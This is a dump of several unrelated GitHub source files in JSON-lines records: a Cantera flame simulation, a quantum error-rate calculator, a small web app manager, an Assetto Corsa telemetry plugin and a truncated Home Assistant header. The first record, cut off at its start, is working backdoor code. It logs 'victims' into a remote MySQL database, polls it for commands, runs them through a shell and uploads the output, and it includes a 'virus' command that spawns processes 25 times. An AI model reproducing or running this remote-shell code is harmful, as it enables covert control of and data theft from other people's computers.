os():\n os = platform.system()\n\n\n\n\n# time.sleep(2)\n\n#insert\ndef insert(gethostbyname,my_ip,os):\n mycursor = mydb.cursor()\n sql = \"INSERT INTO victims (hostname,ipaddress,operatingsystem) VALUES (%s, %s, %s)\"\n val = (gethostname,my_ip,os)\n mycursor.execute(sql, val)\n mydb.commit()\n\n# time.sleep(3)\n\n#shell\ndef shell(gethostname):\n while True:\n #fetch command\n mycursor = mydb.cursor()\n mycursor.execute(\"SELECT command FROM victims where hostname='\"+gethostname+\"'\")\n myresult = mycursor.fetchall()\n \n\n\n for commandMysql in myresult:\n\n for i in commandMysql:\n commandStr = str(commandMysql)\n length=len(commandStr)\n length = length -3\n # print(length)\n # print(command[2:length])\n command = commandStr[2:length]\n # print(command)\n print(command[3:])\n \n \n \n # cd change directory\n if command[:2] == \"cd\" and len(command) > 1:\n try:\n os.chdir(command[3:])\n commandresult = command[3:]\n except:\n commandresult = \"failed to cd \" + command[3:]\n continue\n \n \n\n #start\n elif command[:5] == \"start\":\n subprocess.Popen(command[:6])\n\n #virus\n elif command[:5] == \"virus\":\n virus=0\n while(virus<25):\n subprocess.Popen(command[:6])\n virus = virus +1\n \n \n else:\n commandresult = subprocess.getoutput(command)\n\n # print(command)\n\n #upload result\n mycursor = mydb.cursor()\n sql = \"UPDATE victims SET commandresult = '\"+commandresult+\"' WHERE hostname='\"+gethostname+\"'\"\n # if command[:2] == \"cd\":\n # sql = \"UPDATE victims SET commandresult = '\"+commandresult+\"' , command='' WHERE hostname='\"+gethostname+\"'\"\n # else:\n # sql = \"UPDATE victims SET commandresult = '\"+commandresult+\"' WHERE hostname='\"+gethostname+\"'\"\n mycursor.execute(sql)\n mydb.commit()\n\n\n# insert(gethostbyname,my_ip,os)\nshell(gethostname)\n","repo_name":"surzatine/mw","sub_path":"mw/rsDBMS/rsdatabase.py","file_name":"rsdatabase.py","file_ext":"py","file_size_in_byte":3018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"35412006841","text":"#!/usr/bin/env python3\n\"\"\"\nSimulate two counter-flow jets of reactants shooting into each other. This\nsimulation differs from the similar premixed_counterflow_flame.py example as the\nlatter simulates a jet of reactants shooting into products.\n\nRequires: cantera >= 2.5.0\n\"\"\"\n\nimport cantera as ct\nimport numpy as np\nimport sys\nimport pandas as pd\nimport os\nimport time\n\nprint('\\n*** Computation of premixed counter-flow twin flames ***\\n\\n')\n\n# Select the reaction mechanism\nmec = 'chemicalMechanism/kee.xml'\ngas = ct.Solution(mec)\n\nTmax_s = []\nSc_s = []\nSd_s = []\nstrain_s = []\nmassFlux_s = []\n\n#Set input velocity\naxial_velocity = np.linspace(1,5,10)\n\nphi = 1.\nfolderName ='{:.2f}'.format(phi)\n\npath = './counterFlowResults/CH4/' + folderName\nif not os.path.isdir(path):\n os.makedirs(path)\n print(\"created folder : \", path)\nelse:\n print(path, \" folder already exists.\")\n\nprint('Path to Save: ' + path) \ntime.sleep(6) \n\nfor i in range(0,axial_velocity.size):\n # Create a CH4/Air premixed mixture with equivalence at room\n # temperature and pressure.\n fuel = 'CH4'\n gas.set_equivalence_ratio(phi, fuel, {'O2':1.0, 'N2':3.76})\n gas.TP = 300, ct.one_atm\n\n # Domain half-width of 2.5 cm, meaning the whole domain is 5 cm wide\n width = 0.025\n\n # Done with initial conditions\n # Compute the mass flux, as this is what the Flame object requires\n massFlux = gas.density * axial_velocity[i] # units kg/m2/s\n \n # Create the flame object\n oppFlame = ct.CounterflowTwinPremixedFlame(gas, width=width)\n oppFlame.max_grid_points = 5e4\n\n # Uncomment the following line to use a Multi-component formulation. Default is\n # mixture-averaged\n #oppFlame.transport_model = 'Multi'\n #oppFlame.soret_enabled=True\n #oppFlame.transport_model = 'UnityLewis'\n oppFlame.transport_model = 'Mix'\n \n oppFlame.reactants.mdot = massFlux\n oppFlame.set_refine_criteria(ratio=2, slope=0.02, curve=0.02, prune=0.00)\n\n oppFlame.show_solution()\n oppFlame.solve(loglevel = 1, auto=True)\n T_max = np.max(oppFlame.T)\n\n if T_max < 500:\n print(\"\\n** Flame extinction\\ \" )\n break\n \n print(\"Peak temperature: {0:.1f} K\".format(T_max))\n print(\"Mass flux: {0:.4f} Kg/m2s\".format(massFlux))\n\n list_species = ['CH4','O2','CO','CO2',\\\n 'H2O','OH','CH2O','H2O2','HO2','HCO']\n\n #list_species = ['H2','O2','H2O','OH','H2O2','HO2']\n\n df = pd.DataFrame()\n df['x'] = oppFlame.grid\n df['rho'] = oppFlame.density\n df['T'] = oppFlame.T\n df['velocity'] = oppFlame.velocity\n for species in list_species:\n df[species] = oppFlame.Y[gas.species_index(species),:]\n\n for species in list_species:\n df['wdot' + species] = oppFlame.net_production_rates[gas.species_index(species),:]*gas.molecular_weights[gas.species_index(species)] \n\n for species in list_species:\n df['diff' + species] = oppFlame.mix_diff_coeffs_mass[gas.species_index(species),:] \n\n df['alpha'] = oppFlame.thermal_conductivity/(oppFlame.cp_mass*oppFlame.density)\n df['k'] = oppFlame.thermal_conductivity\n df['Qdot'] = abs(oppFlame.heat_release_rate)\n\n #df['Z_C'] = oppFlame.elemental_mass_fraction('C')\n df['Z_O'] = oppFlame.elemental_mass_fraction('O')\n df['Z_H'] = oppFlame.elemental_mass_fraction('H')\n df['Z_N'] = oppFlame.elemental_mass_fraction('N')\n \n fileName = '{:.3f}'.format( axial_velocity[i] ) \n df.to_csv(path + '/' + fileName, index = False)\n \n","repo_name":"RafaelMeier/MarksteinComp","sub_path":"premixedCounterflow.py","file_name":"premixedCounterflow.py","file_ext":"py","file_size_in_byte":3497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"27604854898","text":"import numpy as np\n\n\nxyz = []\n\ndef error_calc(netlist,noisy_sim,map_list,_init,qubits, ii):\n\n factor_2q = 1.0 # Not used\n scale_factor = 5 # error-rates in near-term devices are quite high.\n # scale_factor scales down the actual error-rates.\n # use scale_factor = 1 for actual error-rates\n\n ''' Copied from IBM quantum experience web-account at https://quantum-computing.ibm.com/\n update if needed as the device error-rates drift with time '''\n\n # single qubit gate error rates\n p1q = [0.005113333288104, 0.012195725568826, 0.013547471030001, 0.002832526375781,\n 0.004751385258102, 0.004215774885966, 0.002749144623865, 0.004224698881771,\n 0.003090993115084, 0.006667456457925, 0.002981703921251, 0.03996271061982,\n 0.008279604984066, 0.010766647756086]\n p1q = [(1/scale_factor)*x for x in p1q]\n # p1q swapper:\n for kk in range(len(qubits)):\n temp = p1q[qubits[kk]]\n p1q[qubits[kk]] = p1q[map_list[kk]]\n p1q[map_list[kk]] = temp\n\n\n # Two qubit gate error rates\n\n p2q = {\n \"1_0\": 0.04,\n \"2_1\": 0.13,\n \"3_2\": 0.08,\n \"4_3\": 0.04,\n \"10_4\": 0.04,\n \"5_4\": 0.05,\n \"6_5\": 0.06,\n \"9_5\": 0.05,\n \"8_6\": 0.03,\n \"8_7\": 0.03,\n \"9_8\": 0.04,\n \"10_9\": 0.04,\n \"11_3\": 0.14,\n \"11_10\": 0.1,\n \"12_11\": 0.15,\n \"12_2\": 0.07,\n \"13_1\": 0.16,\n \"13_12\": 0.04,\n }\n for key in p2q:\n p2q[key] = (1/scale_factor) * p2q[key]\n ## p2q swapper\n for key in p2q:\n old_key = key\n key_splt = key.split(\"_\")\n\n if int(key_splt[0]) in qubits and int(key_splt[1]) in qubits:\n new_key_0 = map_list[ qubits.index( int(key_splt[0]) ) ]\n new_key_1 = map_list[ qubits.index( int(key_splt[1]) ) ]\n\n if new_key_0 > new_key_1:\n new_key = str(new_key_0) + \"_\" + str(new_key_1)\n else:\n new_key = str(new_key_1) + \"_\" + str(new_key_0)\n\n temp = p2q[old_key]\n try:\n p2q[old_key] = p2q[new_key]\n p2q[new_key] = temp\n except:\n print(old_key)\n print(new_key)\n print(\"Key Error; Doing nothing\")\n\n\n def apply_error_gate(prob_in, identifier, _control, _target):\n\n if identifier == 1:\n p = p1q[qubits[_init.index(_target)]]\n prob_out = prob_in * (1-p)\n\n elif identifier == 2:\n\n min = []\n max = []\n\n if qubits[_init.index(_control)] > qubits[_init.index(_target)]:\n max = qubits[_init.index(_control)]\n min = qubits[_init.index(_target)]\n else:\n max = qubits[_init.index(_target)]\n min = qubits[_init.index(_control)]\n\n\n coupling = str(max)+ \"_\" + str(min)\n\n try:\n p = (factor_2q)*p2q[coupling]\n prob_out = prob_in * (1-p)\n except:\n\n return 4000 # any greater than 1 value shall do\n exit()\n\n\n\n return prob_out\n\n\n\n prob = 1.0\n for i in range(len(netlist)):\n line = netlist[i]\n if line[0] =='C':\n _gate = 'cnot'\n elif line[0] =='U':\n if line[1] =='3':\n _gate = 'u3'\n elif line[1] =='2':\n _gate = 'u2'\n elif line[1] == '1':\n _gate = 'u1'\n\n if _gate == 'u3':\n _param = []\n line = line.replace(\"Autograd ArrayBox with value \",\"\")\n x = line.split(\",\")\n _param.append(float(line[line.find(\"(\")+1 : line.find(\",\")]))\n _param.append(float(x[1]))\n _param.append(float(x[2]))\n\n _control = 0\n\n\n if line[len(line) - 1 ] == \"\\n\":\n _target = int(x[3][0:len(x[3])-2])\n else:\n _target = int(x[3][0:len(x[3])-1])\n\n\n elif _gate == 'u2':\n _param = []\n line = line.replace(\"Autograd ArrayBox with value \",\"\")\n x = line.split(\",\")\n _param.append(np.pi/2)\n _param.append(float(line[line.find(\"(\")+1 : line.find(\",\")]))\n _param.append(float(x[1]))\n\n _control = 0\n\n if line[len(line) - 1 ] == \"\\n\":\n _target = int(x[2][0:len(x[2])-2])\n else:\n _target = int(x[2][0:len(x[2])-1])\n\n\n\n elif _gate == 'u1':\n _param = []\n line = line.replace(\"Autograd ArrayBox with value \",\"\")\n x = line.split(\",\")\n _param.append(0)\n _param.append(0)\n _param.append(float(line[line.find(\"(\")+1 : line.find(\",\")]))\n\n _control = 0\n\n\n if line[len(line) - 1 ] == \"\\n\":\n _target = int(x[1][0:len(x[1])-2])\n else:\n _target = int(x[1][0:len(x[1])-1])\n\n\n\n elif _gate == 'cnot':\n line = line.replace(\"Autograd ArrayBox with value \",\"\")\n _param = 100\n _control = int(line[line.find(\"(\")+1 : line.find(\",\")])\n _target = int(line[line.find(\",\")+2 : line.find(\")\")])\n\n\n if noisy_sim == 1:\n\n if _gate == 'cnot':\n prob = apply_error_gate(prob, 2, int(_control), int(_target))\n if prob > 1:\n return 4000\n elif _gate == 'u3' or _gate == 'u2': # u1 in IBM machine is noiseless\n prob = apply_error_gate(prob, 1, int(_control), int(_target))\n\n return prob\n","repo_name":"debjyoti0891/quantum-chain","sub_path":"qure/error_rate_calculator.py","file_name":"error_rate_calculator.py","file_ext":"py","file_size_in_byte":5237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"70683182024","text":"import web \n\nimport WebApp\nimport os\nimport json\n\t\t\nclass AppManager(WebApp.WebApp):\n\t#mediadir = 'media/'\n\tmediadir = os.path.expanduser('~')\n\tdef __init__(self):\n\t\tpass\n\tdef fileList(self,folder = \"\"):\n\t\t#mediadir='media/'\n\t\tmediadir= self.mediadir\n\t\tl = os.listdir(mediadir+folder)\n\t\tfiles=[]\n\t\tfor f in l:\n\t\t\tif(os.path.isfile(mediadir+folder+f)):\n\t\t\t\tfiles.append({'name':f,'type':os.path.splitext(f)[1][1:]})\n\t\t\telse:\n\t\t\t\tfiles.append({'name':f,'type':'folder'})\n\t\treturn json.dumps(files);\n\t\t\t\t\n\n\t\t\n\tdef dirList(self,folder = \"\"):\n\t\t#mediadir='media/'\n\t\tmediadir = self.mediadir\n\t\treturn filter(os.path.isdir, os.listdir(mediadir+folder)) \n\t\t\n\tdef appList(self):\n\t\tappsdir='./apps'\n\t\tls = os.listdir(appsdir) \n\t\tapps = {}\n\t\tfor f in ls:\n\t\t\tif(os.path.isdir(appsdir+'/'+f)):\n\t\t\t\tapp = f\n\t\t\t\tif (self.instanciable(app)): apps[app]=self.instanceList(app)\n\t\t\t\telse: apps[app]=None\n\t\t#print json.dumps(apps)\n\t\treturn json.dumps(apps)\n\tdef close(self,app=None,id=None):\n\t\t#del WebApp.selfies[app][id]\n\t\traise web.seeother('/'+app+'/'+id+'/close?app='+app+'&id='+id)\n\tdef instanceList(self,app):\n\t\tif app in WebApp.selfies and WebApp.selfies[app]!=None : return WebApp.selfies[app].keys()\n\t\telse: return []\n\tdef echo(self,message = None):\n\t\treturn 'received '+str(message)\n\tdef instanciable(self,app):\n\t\treturn app in WebApp.selfies and WebApp.selfies[app]!=None\n\tdef HTML(self):\n\t\treturn \"\"\"

Welcome to ApplePi

Remotely use your Pi with this app system.

\n\t\t\t

Start selecting an application from menu on the left!

\n\t\t\t

PS: This is just a prototype, if you want to help, contribute (writing code), please contact me at spocchio@gmail.com

\n
\"\"\"\n","repo_name":"spocchio/ApplePi","sub_path":"apps/AppManager/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"81"} +{"seq_id":"28625623729","text":"from acpmf import AcSharedMemory\n\nfrom datetime import datetime\nimport json\nimport math\nimport os\nimport sys\n\n# colors:\nRED = (1, 0, 0, 1)\nGREEN = (0, 1, 0, 1)\nWHITE = (0, 1, 0, 1)\nGREY_30 = (0.3, 0.3, 0.3, 1)\nGREY_60 = (0.6, 0.6, 0.6, 1)\n\n\nclass Session(object):\n '''\n Represent a racing sessions, stores laps, etc.\n '''\n def __init__(self, ac=None, acsys=None):\n '''\n We pass ac and acsys so we don't have to import them here,\n that way we can test the code without AC modules\n '''\n self.ac = ac\n self.acsys = acsys\n self.app_path = os.path.dirname(os.path.realpath(__file__))\n self.ui = None\n self.current_lap = None\n self.best_lap = None\n self.trackname = ''\n self.carname = ''\n self.app_size_x = 0\n self.app_size_y = 0\n self.save_data = False\n self.start_time = datetime.now()\n self.current_data = {}\n self.delta = 0.0 # Time since last data update\n self.freq = 0.5\n self.laps = [] # This is only used when running outside of AC\n self.zoom = 1.0 # Current zoom level\n\n def _best_lap_path(self):\n '''\n Returns the path to the best lap JSON file\n Create the best lap directory if it doesn't already exists\n '''\n if not (self.trackname and self.carname):\n return None\n\n dirpath = os.path.join(self.app_path, 'best-laps', self.trackname)\n try:\n if not os.path.exists(dirpath):\n os.makedirs(dirpath)\n except Exception as e:\n self.console('Can\\'t create directories \"%s\": %s' % (dirpath, e))\n return None\n\n return os.path.join(dirpath, '%s.json' % self.carname)\n\n def load_best_lap(self):\n '''\n Checks if a best lap for the current track/car exists and loads it\n '''\n path = self._best_lap_path()\n\n if not os.path.exists(path):\n return\n\n try:\n f = open(path)\n except Exception as e:\n self.console('Can\\'t open file \"%s\": %s' % (path, e))\n return\n\n self.best_lap = Lap(self, 0)\n data = json.loads(f.read())\n self.best_lap.json_loads(data)\n f.close()\n\n def console(self, msg):\n '''\n Prints to AC console if available or to terminal if in test mode\n '''\n if self.ac:\n self.ac.console(msg)\n else:\n sys.stdout.write('%s\\n' % msg)\n\n def new_best_lap(self):\n '''\n Save the current lap as new best lap\n '''\n self.best_lap = self.current_lap\n\n path = self._best_lap_path()\n if not path:\n return\n\n try:\n f = open(path, 'w')\n except Exception as e:\n self.console('Can\\'t open file \"%s\" for writing: %s' % (path, e))\n return\n\n f.write(self.best_lap.json_dumps() + '\\n')\n f.close()\n\n def new_lap(self, count, drop=False):\n '''\n Create a new lap, save best lap if previous lap was faster\n than current best\n if drop is True we don't save the current lap or use it to compare with best lap\n '''\n def is_best_lap(new, best):\n '''\n Returns True if 'new' lap is faster than 'best'\n '''\n if not new:\n return False\n if not best:\n return True\n if best.invalid and not new.invalid:\n return True\n if not best.invalid and new.invalid:\n return False\n if new.laptime < best.laptime:\n return True\n return False\n\n if not drop:\n # Check if current_lap is faster than previous best\n if is_best_lap(self.current_lap, self.best_lap):\n self.new_best_lap()\n\n # Save the current lap to file if necessary\n if self.save_data:\n self.export_data()\n\n # Create new lap\n self.current_lap = Lap(self, count)\n\n def _get_wheels_lock(self):\n wheel_angular_speed = self.current_data['wheel_angular_speed']\n tyre_radius = self.current_data['tyre_radius']\n current_speed = abs(self.current_data['current_speed'])\n\n # Calculate the wheel speed:\n # Angular_speed (radians) * radius = m/s converted to km/h\n wheel_speed = [abs(speed) * radius * 3600 / 1000 for speed, radius in zip(wheel_angular_speed, tyre_radius)]\n\n # Calculate the locking ratio\n if current_speed > 1:\n lock_ratios = [1 - w / current_speed for w in wheel_speed]\n else:\n # The car is stopped, we ignore wheel lock\n lock_ratios = [0 for w in wheel_speed]\n\n return lock_ratios\n\n def update_data(self, deltaT):\n '''\n Called by acUpdate, updates internal data\n '''\n # Check if we're in a new lap\n lap_count = self.ac.getCarState(0, self.acsys.CS.LapCount)\n lap_time = self.ac.getCarState(0, self.acsys.CS.LapTime)\n if lap_time < self.current_lap.laptime:\n splits = self.ac.getLastSplits(0)\n self.ac.console('split: %s' % splits)\n if all(split > 0 for split in splits):\n # If we have splits then the last lap was complete\n self.new_lap(lap_count)\n else:\n # Not all splits are valid, there was a restart, etc. we can drop\n # the previous lap\n self.new_lap(lap_count, drop=True)\n\n # Update the status of the current lap\n self.current_lap.invalid = self.ac.getCarState(0, self.acsys.CS.LapInvalidated)\n self.current_lap.laptime = self.ac.getCarState(0, self.acsys.CS.LapTime)\n # Save some current data for rendering\n self.current_data['current_speed'] = self.ac.getCarState(0, self.acsys.CS.SpeedKMH)\n self.current_data['tyre_radius'] = self.ac.getCarState(0, self.acsys.CS.TyreRadius)\n self.current_data['wheel_angular_speed'] = self.ac.getCarState(0, self.acsys.CS.WheelAngularSpeed)\n\n acshm = AcSharedMemory(7)\n acshm.readValue(\"physics\", \"heading\")\n self.current_data['heading'] = math.pi - acshm.shm[\"physics\"].memStruct[\"heading\"][\"val\"]\n # wheelSlip is currently unused, left here for reference\n # acshm.readValue(\"physics\", \"wheelSlip\")\n # self.current_data['wheels_slip'] = [ acshm.shm[\"physics\"].memStruct[\"wheelSlip\"][\"val\"]\n\n # We only update the rest of the data every FREQ seconds to\n # prevent filling up the memory with data points\n self.delta += deltaT\n if self.delta < self.freq:\n return\n self.delta = 0\n\n # Get the current car's position and add it to current lap\n position = self.ac.getCarState(0, self.acsys.CS.WorldPosition)\n point = Point(*position)\n point.speed = self.ac.getCarState(0, self.acsys.CS.SpeedKMH)\n point.gas = self.ac.getCarState(0, self.acsys.CS.Gas)\n point.brake = self.ac.getCarState(0, self.acsys.CS.Brake)\n point.clutch = self.ac.getCarState(0, self.acsys.CS.Clutch)\n point.gear = self.ac.getCarState(0, self.acsys.CS.Gear)\n\n # If we have a best lap get the speed at the closest point\n if self.best_lap:\n closest_point = self.best_lap.closest_point(point)\n if closest_point:\n point.best_speed = closest_point.speed\n\n self.current_lap.points.append(point)\n\n def render_tyres_slip(self):\n '''\n Render the tyres slip widget\n '''\n # Get the tyres slip ratio\n lock_ratios = self._get_wheels_lock()\n\n self.ac.glColor4f(*get_color_from_ratio(lock_ratios[0], fade_in=True))\n self.ac.glQuad(380, 30, 5, 10)\n self.ac.glColor4f(*get_color_from_ratio(lock_ratios[1], fade_in=True))\n self.ac.glQuad(390, 30, 5, 10)\n self.ac.glColor4f(*get_color_from_ratio(lock_ratios[2], fade_in=True))\n self.ac.glQuad(380, 50, 5, 10)\n self.ac.glColor4f(*get_color_from_ratio(lock_ratios[3], fade_in=True))\n self.ac.glQuad(390, 50, 5, 10)\n\n def render(self):\n '''\n Renders the widget\n '''\n heading = self.current_data['heading']\n\n if self.best_lap:\n self.best_lap.render(self.current_lap.last_point, heading, GREY_60)\n self.ac.setText(self.ui.labels['best_lap_time_val'], '%s' % self.best_lap.human_laptime())\n\n self.current_lap.render(self.current_lap.last_point, heading)\n\n last_point = self.current_lap.last_point\n if not last_point:\n return\n current_speed = self.current_data['current_speed']\n current_speed_val_label = self.ui.labels['current_speed_val']\n best_speed_val_label = self.ui.labels['best_speed_val']\n self.ac.setText(current_speed_val_label, \"{0}\".format(round(current_speed, 1)))\n\n # Print the speed of the closest point of the best lap if any\n if last_point.best_speed is not None:\n self.ac.setText(best_speed_val_label, \"{0}\".format(round(last_point.best_speed, 1)))\n if last_point.best_speed > current_speed + 2: # +2 is to avoid flickering\n self.ac.setFontColor(current_speed_val_label, *RED)\n elif last_point.best_speed < current_speed - 2:\n self.ac.setFontColor(current_speed_val_label, *GREEN)\n else:\n self.ac.setFontColor(current_speed_val_label, *WHITE)\n\n self.render_tyres_slip()\n\n def zoom_in(self):\n '''\n Increase the current map zoom level\n '''\n self.zoom *= 1.2\n\n def zoom_out(self):\n '''\n Decrease the current map zoom level\n '''\n self.zoom /= 1.2\n\n def json_dumps(self):\n '''\n Returns a JSON representation of the Session\n '''\n return json.dumps({\n 'trackname': self.trackname,\n 'carname': self.carname,\n })\n\n def export_data(self):\n '''\n Export the Session data to a file in the plugin's directory\n Returns the path to the file\n '''\n target_dir = os.path.join(self.app_path, 'exports')\n\n # Create the export directory if it doesn't already exists\n if not os.path.exists(target_dir):\n os.mkdir(target_dir)\n\n filename = '%s-%s-%s.json' % (self.start_time.strftime('%Y-%m-%d-%H-%M-%S'),\n self.trackname, self.carname)\n\n try:\n f = open(os.path.join(target_dir, filename), 'a')\n except Exception as e:\n self.console('Can\\'t open file \"%s\" for writing: %s' % (filename, e))\n return\n\n # Check the position in the file, if we're at 0 then the file\n # is new and write the session headers\n if f.tell() == 0:\n f.write(self.json_dumps() + '\\n')\n\n # Write the current lap to file\n f.write(self.current_lap.json_dumps() + '\\n')\n f.close()\n\n self.console('Saved lap %d to file %s.' % (self.current_lap.count,\n filename))\n\n def import_data(self, filename):\n '''\n Import a session from file. This is not meant to be called in AC\n '''\n try:\n f = open(filename)\n except Exception as e:\n self.console('Can\\'t open file \"%s\": %s' % (filename, e))\n return\n\n # Read session_data\n data = f.readline()\n data = json.loads(data)\n for key, value in data.items():\n setattr(self, key, value)\n\n # Read laps data\n for i, line in enumerate(f):\n lap = Lap(self, i)\n data = json.loads(line)\n lap.json_loads(data)\n self.laps.append(lap)\n\n\nclass Point(object):\n def __init__(self, x, y, z, s=0, g=0, b=0, c=0, r=0):\n self.x = round(x, 2)\n self.y = round(y, 2)\n self.z = round(z, 2)\n self.speed = round(s, 2) # Speed in Km/h\n self.gas = g\n self.brake = b\n self.clutch = c\n self.gear = r\n self.best_speed = None # Speed at the closet point\n # of the best lap if any\n self.start = False # Used to start a new line when rendering\n self.end = False # Used to end a line when rendering\n\n # List of attributes, and their JSON keys\n self.keys = (\n ('x', 'x'),\n ('y', 'y'),\n ('z', 'z'),\n ('speed', 's'),\n ('gas', 'g'),\n ('brake', 'b'),\n ('clutch', 'c'),\n ('gear', 'r'),\n )\n\n def __repr__(self):\n return 'x: %f, z: %f' % (self.x, self.z)\n\n def equal_coords(self, point):\n '''\n Return trues if the given point has the same x, y and z coordinates\n '''\n return self.x == point.x and self.y == point.y and self.z == point.z\n\n def dumps(self, previous=None):\n '''\n Returns a dict representation of the Point that can be passed to JSON\n If 'previous' is given only dump the data which has changed since\n '''\n result = {}\n for key, shortname in self.keys:\n if not previous or \\\n (previous and getattr(previous, key) != getattr(self, key)):\n result[shortname] = getattr(self, key)\n\n return result\n\n\nclass Line(object):\n '''\n A line is a series of point, used to represent a lap or circuit\n '''\n def __init__(self, session):\n self.session = session # Reference to the current session\n self.points = []\n\n @property\n def last_point(self):\n '''\n Returns the last point from the line\n '''\n try:\n return self.points[-1]\n except IndexError:\n # This can happen before the first lap is recorded, but also happens\n # \"randomly\" at given points on the track...\n # so we check if we actually have points.\n # Note that this is a dirty hack and it SHOULDN'T work! (but it does)\n if self.points:\n return self.points[-1]\n return None\n\n def normalise(self, reference_point, heading):\n '''\n Return a normalised version of the points based on the widget\n size, zoom level, the given reference point and current heading\n '''\n result = []\n\n if not reference_point:\n # We don't have any data yet\n return []\n\n # Calculate the shift to fit the points within the widget\n if reference_point.x > self.session.app_size_x / 2:\n diff_x = -(reference_point.x - self.session.app_size_x / 2)\n else:\n diff_x = self.session.app_size_x / 2 - reference_point.x\n if reference_point.z > self.session.app_size_y / 2:\n diff_z = -(reference_point.z - self.session.app_size_y / 2)\n else:\n diff_z = self.session.app_size_y / 2 - reference_point.z\n\n # Shift the points, only keep the one that actually fit\n # in the widget\n out = False # Whether or not the last point was outside the widget\n for point in self.points:\n # Rotate the point by 'heading' rad around the center (last point)\n x = math.cos(heading) * (point.x - reference_point.x) - math.sin(heading) * (point.z - reference_point.z) + reference_point.x\n z = math.sin(heading) * (point.x - reference_point.x) + math.cos(heading) * (point.z - reference_point.z) + reference_point.z\n\n x = x + diff_x\n y = point.y # We ignore y for now\n z = z + diff_z\n\n # Zoom in/out point:\n # Takes the difference between the coordinate and the center point,\n # multiply it by the zoom ratio and add to center coordinate\n x = self.session.app_size_x / 2 + (x - self.session.app_size_x / 2) * self.session.zoom\n z = self.session.app_size_y / 2 + (z - self.session.app_size_y / 2) * self.session.zoom\n\n if x > self.session.app_size_x or x < 0 or \\\n z > self.session.app_size_y or z < 0:\n out = True\n if result:\n result[-1].end = True\n continue\n\n p = Point(x, y, z)\n p.speed = point.speed\n p.best_speed = point.best_speed\n if out:\n p.start = True\n out = False\n\n result.append(p)\n\n return result\n\n def render(self, reference_point, heading, color=None):\n '''\n Renders the lap using the given color (default to grey)\n '''\n self.session.ac.glBegin(self.session.acsys.GL.LineStrip)\n\n for point in self.normalise(reference_point, heading):\n if point.start:\n self.session.ac.glBegin(self.session.acsys.GL.LineStrip)\n\n self.session.ac.glVertex2f(point.x, point.z)\n\n if color:\n self.session.ac.glColor4f(*color)\n else:\n self.session.ac.glColor4f(*GREY_30)\n\n if point.end:\n self.session.ac.glEnd()\n\n self.session.ac.glEnd()\n\n def svg_path(self):\n '''\n Returns a SVG path version of the line\n '''\n path = 'M %f,%f' % (self.points[0].x, self.points[0].z)\n\n for point in self.points:\n path += ' L %f,%f' % (point.x, point.z)\n\n return path\n\n def write_svg(self, filename, title=''):\n '''\n Write a SVG path of the line to filename\n '''\n data = '''\n\n %s\n\n \n\n''' % (title, self.svg_path())\n\n try:\n f = open(filename, 'w')\n except Exception as e:\n self.console('Can\\'t open file \"%s\": %s' % (filename, e))\n\n f.write(data)\n f.close()\n\n def closest_point(self, ref_point):\n '''\n Returns the point from the line closest to the given point\n '''\n distance = None\n closest = None\n for point in self.points:\n d = (point.x - ref_point.x) ** 2 + \\\n (point.y - ref_point.y) ** 2 + \\\n (point.z - ref_point.z) ** 2\n d = abs(d)\n\n if distance is None or d < distance:\n distance = d\n closest = point\n\n return closest\n\n\nclass Lap(Line):\n def __init__(self, session, count):\n Line.__init__(self, session)\n self.count = count\n self.invalid = 0\n self.laptime = 0\n\n def human_laptime(self):\n '''\n Returns the laptime under the format: m:s.ms\n '''\n s, ms = divmod(self.laptime, 1000)\n m, s = divmod(s, 60)\n return '%d:%d.%d' % (m, s, ms)\n\n def __repr__(self):\n return '%d: %s%s' % (self.count, self.human_laptime(),\n '*' if self.invalid else '')\n\n def render(self, reference_point, heading, color=None):\n '''\n Renders the lap, if no color is given we use green for fast sectors\n and red for slow sectors, and all green if no best_speed is available\n '''\n self.session.ac.glBegin(self.session.acsys.GL.LineStrip)\n\n for point in self.normalise(reference_point, heading):\n if point.start:\n self.session.ac.glBegin(self.session.acsys.GL.LineStrip)\n\n self.session.ac.glVertex2f(point.x, point.z)\n\n if color:\n self.session.ac.glColor4f(*color)\n elif point.best_speed is not None:\n if point.best_speed > point.speed + 2:\n self.session.ac.glColor4f(*RED)\n elif point.best_speed < current_speed - 2:\n self.session.ac.glColor4f(*WHITE)\n else:\n self.session.ac.glColor4f(*GREEN)\n else:\n self.session.ac.glColor4f(*GREEN)\n\n if point.end:\n self.session.ac.glEnd()\n\n self.session.ac.glEnd()\n\n def json_dumps(self):\n '''\n Returns a JSON representation of the Lap\n '''\n points = []\n for i, point in enumerate(self.points):\n # We check if we have a previous point to only dump\n # the data which has changed\n if i > 0:\n points.append(point.dumps(self.points[i - 1]))\n else:\n points.append(point.dumps())\n\n return json.dumps({\n 'count': self.count,\n 'invalid': self.invalid,\n 'laptime': self.laptime,\n 'points': points,\n })\n\n def json_loads(self, data):\n '''\n Update the lap with the given JSON data\n '''\n if 'invalid' in data:\n self.invalid = data['invalid']\n if 'laptime' in data:\n self.laptime = data['laptime']\n\n previous = {}\n for point_data in data['points']:\n\n # Update the previous point_data with the current one, updated\n # data will overwrite the old one, data which hasn't changed\n # will be kept\n previous.update(point_data)\n\n point = Point(**previous)\n self.points.append(point)\n\n\nclass Track(object):\n def __init__(self, session, name):\n self.session = session\n # TODO: load track from file if available,\n # set inner and outer track line as Line()\n\n\ndef get_color_from_ratio(ratio, fade_in=False, mode='yr'):\n '''\n Return a color based on ratio\n Ratios greater than 1 are considered as 1\n If fade_in then ratio also affects alpha channel from 0 to 1\n Modes:\n yr: yellow to red\n gr: green to red\n '''\n if ratio > 1:\n ratio = 1\n if fade_in:\n alpha = ratio\n else:\n alpha = 1\n\n if mode == 'gr':\n if ratio <= 0.5:\n return (ratio * 2, 1, 0, alpha)\n else:\n return (1, 1 - (ratio - 0.5) * 2, 0, alpha)\n\n # Default to mode 'yr'\n return (1, 1 - ratio, 0, alpha)\n","repo_name":"mathiasuk/racingline","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":22317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"30089831169","text":"\"\"\"The lookin integration light platform.\"\"\"\nfrom __future__ import annotations\n\nfrom collections.abc import Callable, Coroutine\nfrom datetime import timedelta\nimport logging\nfrom typing import Any, 